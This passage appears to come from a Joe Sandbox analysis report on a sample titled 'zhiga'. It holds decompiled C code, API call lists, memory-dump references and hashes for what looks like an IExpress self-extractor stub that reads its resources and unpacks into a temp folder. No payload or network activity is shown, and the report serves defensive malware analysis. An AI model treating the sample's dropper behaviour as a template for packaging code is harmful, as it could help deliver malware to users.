0x010c71b1
0x010c71b8
0x010c71c4
0x010c71c7
0x010c71cb
0x010c71d5
0x010c71da
0x010c71da
0x010c71dc
0x010c71dc
0x010c71e2
0x010c71e5
0x010c71ee

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 010C7182
GetCurrentProcessId.KERNEL32 ref: 010C7191
GetCurrentThreadId.KERNEL32 ref: 010C719A
GetTickCount.KERNEL32 ref: 010C71A3
QueryPerformanceCounter.KERNEL32(?), ref: 010C71B8

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 05b51f402044c204c72c232ee06290cf86104c17117685c4b291898dfa30b92b
Instruction ID: 4aa01e108f2a68efd3e2c1f71cd146095532192d55fc6abb9d4398f0b0318978
Opcode Fuzzy Hash: 05b51f402044c204c72c232ee06290cf86104c17117685c4b291898dfa30b92b
Instruction Fuzzy Hash: BB01C870E01208DFCB65DFB8D64859EB7F5FF88644B61499AE845E7204E7399A009F04

Uniqueness

Uniqueness Score: -1.00%

Function 010C6CF0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C6CF0(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x010c6cf7
0x010c6d00
0x010c6d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,010C6E26,010C1000), ref: 010C6CF7
UnhandledExceptionFilter.KERNEL32(010C6E26,?,010C6E26,010C1000), ref: 010C6D00
GetCurrentProcess.KERNEL32(C0000409,?,010C6E26,010C1000), ref: 010C6D0B
TerminateProcess.KERNEL32(00000000,?,010C6E26,010C1000), ref: 010C6D12

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 74491d289cd8b013c2e42dabad2a0f1820547fdb2385950b5ec1fd869d26200b
Instruction ID: 5fe4eff579892baca2c29e5fa1770b1d2dbfd3e8837245132917cf009e766aae
Opcode Fuzzy Hash: 74491d289cd8b013c2e42dabad2a0f1820547fdb2385950b5ec1fd869d26200b
Instruction Fuzzy Hash: 86D0C93220010CFFDB202BF1E80CA593F28EBC8292F454000FB59C3044EA3B44518F51

Uniqueness

Uniqueness Score: -1.00%

Function 010C3210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E010C3210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E010C43D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "zhiga");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x10c9a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x10c91e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E010C44B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x10c91e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x10c91e5 - 3;
						if(_t49 - 0x10c91e5 < 3) {
							goto L32;
						}
						_t24 =  *0x10c91e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x10c91e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E010C658A(0x10c91e4, 0x104, 0x10c1140);
								_t27 = E010C58C8(0x10c91e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x10c91e4 - 0x5c;
									if( *0x10c91e4 != 0x5c) {
										L30:
										_t30 = E010C597D(0x10c91e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x10c91e5 - 0x5c;
									if( *0x10c91e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E010C44B9(_t64, 0x54a, 0x10c91e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x10c91e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x10c91e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x10c91e4 - 0x5c;
						if( *0x10c91e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x10c9124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x10c9a3c, 0x3e8, 0x10c8598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E010C4224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x10c87a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E010C44B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x010c321b
0x010c321e
0x010c3221
0x010c343c
0x010c343e
0x010c343f
0x010c3445
0x010c3447
0x00000000
0x010c3447
0x010c3229
0x010c322a
0x010c322f
0x010c33ec
0x010c33f7
0x010c3410
0x010c3416
0x010c341d
0x010c342d
0x010c342d
0x010c3438
0x00000000
0x010c3438
0x010c3237
0x010c3243
0x010c3243
0x010c3246
0x010c32ee
0x010c32f4
0x010c32f6
0x010c33d4
0x010c33d6
0x010c33db
0x010c33dc
0x010c33de
0x010c33df
0x010c3370
0x010c3372
0x00000000
0x010c3372
0x010c32fc
0x010c3301
0x010c3301
0x010c3303
0x010c3304
0x010c3304
0x010c330a
0x010c330d
0x00000000
0x00000000
0x010c3313
0x010c3318
0x010c331a
0x010c3331
0x010c3332
0x010c333a
0x010c333d
0x010c337c
0x010c3388
0x010c338f
0x010c3394
0x010c3396
0x010c33a4
0x010c33ab
0x010c33b6
0x010c33be
0x010c33c3
0x010c33c5
0x010c3435
0x010c3437
0x010c3437
0x00000000
0x010c3437
0x010c33c7
0x010c33c9
0x010c33cc
0x00000000
0x010c33cc
0x010c33ad
0x010c33b4
0x00000000
0x00000000
0x00000000
0x010c33b4
0x010c3398
0x010c3399
0x010c339b
0x010c339c
0x010c339d
0x00000000
0x010c339d
0x010c334c
0x010c3351
0x010c3354
0x00000000
0x00000000
0x010c335c
0x010c3362
0x010c3364
0x00000000
0x00000000
0x010c3366
0x010c3367
0x010c3369
0x010c336a
0x010c336b
0x00000000
0x010c336b
0x010c331c
0x010c3323
0x00000000
0x00000000
0x010c3329
0x010c332b
0x00000000
0x00000000
0x00000000
0x010c332b
0x010c324c
0x010c324c
0x010c324f
0x010c32c8
0x010c32ce
0x00000000
0x010c32ce
0x010c3251
0x010c3256
0x00000000
0x00000000
0x010c3271
0x010c3277
0x010c3279
0x010c3298
0x010c329d
0x010c329f
0x00000000
0x00000000
0x010c32b0
0x010c32b6
0x010c32b8
0x00000000
0x00000000
0x010c32be
0x010c3280
0x010c3289
0x010c328e
0x00000000
0x010c328e
0x010c327b
0x00000000
0x010c327b
0x00000000

APIs

LoadStringA.USER32(000003E8,010C8598,00000200), ref: 010C3271
GetDesktopWindow.USER32 ref: 010C33E2
SetWindowTextA.USER32(?,zhiga), ref: 010C33F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 010C3410
GetDlgItem.USER32(?,00000836), ref: 010C3426
EnableWindow.USER32(00000000), ref: 010C342D
EndDialog.USER32(?,00000000), ref: 010C343F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C32E2, 010C32E7, 010C3331, 010C3344, 010C335B, 010C336A
zhiga, xrefs: 010C33F1

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$zhiga
API String ID: 2418873061-1100731767
Opcode ID: 41d6e8a13a3f246da70516abeb3a65086bcc724dac78deca60b178446781d5aa
Instruction ID: bc2fa67891ec0a395027adfa990d2325aadd2fa1c0990f22af29c93c5677eb56
Opcode Fuzzy Hash: 41d6e8a13a3f246da70516abeb3a65086bcc724dac78deca60b178446781d5aa
Instruction Fuzzy Hash: 0D51E370360250BAEBB25B395C4CFBF7999BB86F54F00C02CFAC59A1C5DEA994019F60

Uniqueness

Uniqueness Score: -1.00%

Function 010C2CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010C2CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x10c9a3c = __ecx;
				memset(0x10c9140, 0, 0x8fc);
				memset(0x10c8a20, 0, 0x32c);
				memset(0x10c88c0, 0, 0x104);
				 *0x10c93ec = 1;
				_t20 = E010C468F("TITLE", 0x10c9154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x10c858c = _t27;
					SetEvent(_t27);
					_t64 = 0x10c9a34;
					if(E010C468F("EXTRACTOPT", 0x10c9a34, 4) != 0) {
						if(( *0x10c9a34 & 0x000000c0) == 0) {
							L12:
							 *0x10c9120 =  *0x10c9120 & _t65;
							if(E010C5C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x10c8a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x10c8184 != 0) {
										__imp__#17();
									}
									if( *0x10c8a24 == 0) {
										_t57 = _t65;
										if(E010C36EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x10c9a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x10c9a34 & 0x00000100) == 0 || ( *0x10c8a38 & 0x00000001) != 0 || E010C18A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E010C6517(_t57, 0x7d6, _t34, E010C19E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E010C2390(0x10c8a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E010C44B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E010C468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x10c8588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x10c9a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E010C44B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E010C44B9(0, 0x54b, "zhiga", 0, 0x10, 0);
										L11:
										CloseHandle( *0x10c8588);
										 *0x10c9124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E010C44B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x10c9124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E010C6CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x010c2cb5
0x010c2cbc
0x010c2cc7
0x010c2cc9
0x010c2cd1
0x010c2cd3
0x010c2cd9
0x010c2ce9
0x010c2cf9
0x010c2d0e
0x010c2d15
0x010c2d1c
0x010c2ef3
0x00000000
0x010c2d2d
0x010c2d34
0x010c2d3b
0x010c2d40
0x010c2d48
0x010c2d59
0x010c2d84
0x010c2e1f
0x010c2e1f
0x010c2e2e
0x010c2e41
0x010c2e5a
0x010c2e62
0x010c2e6c
0x010c2e6c
0x010c2e75
0x010c2e77
0x010c2e77
0x010c2e84
0x010c2e8b
0x010c2e94
0x00000000
0x010c2e96
0x010c2e96
0x010c2e9e
0x010c2ea2
0x010c2eba
0x00000000
0x010c2ece
0x010c2ede
0x010c2eed
0x00000000
0x00000000
0x00000000
0x00000000
0x010c2eed
0x010c2eef
0x010c2eef
0x010c2eef
0x010c2eef
0x010c2ea2
0x010c2e86
0x010c2e88
0x010c2e88
0x010c2e43
0x010c2e48
0x00000000
0x010c2e48
0x010c2e30
0x010c2e30
0x010c2ef8
0x010c2f01
0x00000000
0x010c2f01
0x010c2d8a
0x010c2d8f
0x010c2da1
0x00000000
0x010c2da3
0x010c2dae
0x010c2db4
0x010c2dbb
0x00000000
0x010c2dca
0x010c2dd3
0x010c2df5
0x010c2e02
0x00000000
0x00000000
0x00000000
0x00000000
0x010c2dd5
0x010c2dde
0x010c2de3
0x010c2e04
0x010c2e0a
0x010c2e10
0x00000000
0x010c2e10
0x010c2dd3
0x010c2dbb
0x010c2da1
0x010c2d5b
0x010c2d5b
0x010c2d5d
0x010c2d69
0x010c2d6e
0x010c2f06
0x010c2f06
0x010c2f06
0x010c2d59
0x010c2f18

APIs

memset.MSVCRT ref: 010C2CD9
memset.MSVCRT ref: 010C2CE9
memset.MSVCRT ref: 010C2CF9

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 010C2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 010C2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 010C2DBD
CloseHandle.KERNEL32(zhiga,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 010C2E0A

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Strings

TITLE, xrefs: 010C2D09
INSTANCECHECK, xrefs: 010C2D95
VERCHECK, xrefs: 010C2E54
zhiga, xrefs: 010C2D04, 010C2DD9, 010C2DF0
EXTRACTOPT, xrefs: 010C2D4D

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$zhiga
API String ID: 1002816675-3407794480
Opcode ID: ea1eacd231076c7758d278cc00a7844bcc15acbdeea705f5a4d8112d676d0901
Instruction ID: d4ba119012d222fd10c3ddb144f2bfe42bfdfe3be71e94332e7881c58a002502
Opcode Fuzzy Hash: ea1eacd231076c7758d278cc00a7844bcc15acbdeea705f5a4d8112d676d0901
Instruction Fuzzy Hash: 2151C570340306AEF770A7299C49B7F36D9EB95F44F00806DAAC1E69C9EAB9C4418F65

Uniqueness

Uniqueness Score: -1.00%

Function 010C34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E010C34F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x10c91d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x10c8584 = _t35;
					E010C43D0(_t35, GetDesktopWindow());
					__eflags =  *0x10c8184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "zhiga");
					_t17 = CreateThread(0, 0, E010C4FE0, 0, 0, 0x10c8798);
					 *0x10c879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E010C44B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x10c858c);
					_t38 =  *0x10c8584; // 0x0
					_t25 = E010C44B9(_t38, 0x4b2, 0x10c1140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x10c91d8 = 1;
						SetEvent( *0x10c858c);
						_t39 =  *0x10c879c; // 0x0
						E010C3680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x10c858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x10c879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x010c34fb
0x010c34fe
0x010c3665
0x010c3666
0x010c3666
0x010c3668
0x010c366e
0x010c366e
0x010c3671
0x010c3671
0x010c3677
0x00000000
0x010c3677
0x010c3504
0x010c3506
0x010c3507
0x010c350c
0x010c365b
0x010c365f
0x00000000
0x00000000
0x00000000
0x010c3661
0x010c3512
0x010c3515
0x010c35be
0x010c35c1
0x010c35d1
0x010c35d8
0x010c35de
0x010c35f8
0x010c3617
0x010c3617
0x010c3623
0x010c3637
0x010c363d
0x010c3642
0x010c3644
0x00000000
0x010c3646
0x010c3652
0x010c3657
0x010c3658
0x00000000
0x010c3658
0x010c3644
0x010c351b
0x010c351d
0x010c354f
0x010c3553
0x00000000
0x00000000
0x010c355f
0x010c3565
0x010c357c
0x010c3581
0x010c3584
0x010c359b
0x010c35a1
0x010c35a7
0x010c35ad
0x010c35b3
0x010c35b8
0x00000000
0x010c35b8
0x010c3586
0x010c3588
0x00000000
0x00000000
0x010c3590
0x00000000
0x010c3590
0x010c3524
0x010c3535
0x010c3541
0x00000000
0x010c3549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 010C3535
EndDialog.USER32(?,?), ref: 010C3541
ResetEvent.KERNEL32 ref: 010C355F
SetEvent.KERNEL32(010C1140,00000000,00000020,00000004), ref: 010C3590
GetDesktopWindow.USER32 ref: 010C35C7
GetDlgItem.USER32(?,0000083B), ref: 010C35F1
SendMessageA.USER32(00000000), ref: 010C35F8
GetDlgItem.USER32(?,0000083B), ref: 010C3610
SendMessageA.USER32(00000000), ref: 010C3617
SetWindowTextA.USER32(?,zhiga), ref: 010C3623
CreateThread.KERNEL32 ref: 010C3637
EndDialog.USER32(?,00000000), ref: 010C3671

Strings

zhiga, xrefs: 010C361D

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: zhiga
API String ID: 2406144884-3705506974
Opcode ID: d5c39190ebb41a4173f1d53cd3001b25b6bf0282d9d188659eee94f3e23abfa0
Instruction ID: 05f13cb7070648ee35aa3a4d038e1e0db13609c6a62e7f7e088e52581358a170
Opcode Fuzzy Hash: d5c39190ebb41a4173f1d53cd3001b25b6bf0282d9d188659eee94f3e23abfa0
Instruction Fuzzy Hash: F1319031250215EFD7701B29AC4DE2E7EA9F7D9F45F10C51EFAC29A298DA7A8400CF54

Uniqueness

Uniqueness Score: -1.00%

Function 010C4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E010C4224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E010C44B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x10c88c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x10c87a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x10c8598;
					_v36 = 1;
					_v32 = E010C4200;
					_v28 = 0x10c88c0;
					 *0x10ca288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x10ca288(_t32, 0x10c88c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x10c88c0 != 0) {
							E010C1680(0x10c87a0, 0x104, 0x10c88c0);
						}
						 *0x10ca288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x10c87a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x10c88c0);
					_t61 = 0x10c88c0;
					_t4 =  &(_t61[1]); // 0x10c88c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x10c88c0; // 0x2191181
					_t44 = CharPrevA(0x10c88c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x10c88c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x010c4234
0x010c423c
0x010c4240
0x010c43b2
0x010c43b7
0x010c43c0
0x00000000
0x010c43c5
0x010c424c
0x010c4252
0x010c4257
0x010c43a4
0x010c43a5
0x010c43ab
0x00000000
0x010c43ab
0x010c4263
0x010c4269
0x010c426e
0x00000000
0x00000000
0x010c427a
0x010c4280
0x010c4285
0x00000000
0x00000000
0x010c428d
0x010c4293
0x010c42e6
0x010c42e9
0x010c42ef
0x010c42f4
0x010c42f7
0x010c4300
0x010c4307
0x010c430e
0x010c4315
0x010c431c
0x010c4322
0x010c4326
0x010c432d
0x010c432d
0x010c432f
0x010c4334
0x010c4343
0x010c4349
0x010c434d
0x010c4354
0x010c4354
0x010c435d
0x010c436e
0x010c436e
0x010c437d
0x010c4383
0x010c4387
0x010c438e
0x010c438e
0x010c4387
0x010c4391
0x010c4399
0x00000000
0x010c4295
0x010c429f
0x010c42a5
0x010c42aa
0x010c42aa
0x010c42ad
0x010c42ad
0x010c42af
0x010c42b0
0x010c42b6
0x010c42c2
0x010c42c8
0x010c42ce
0x010c42e4
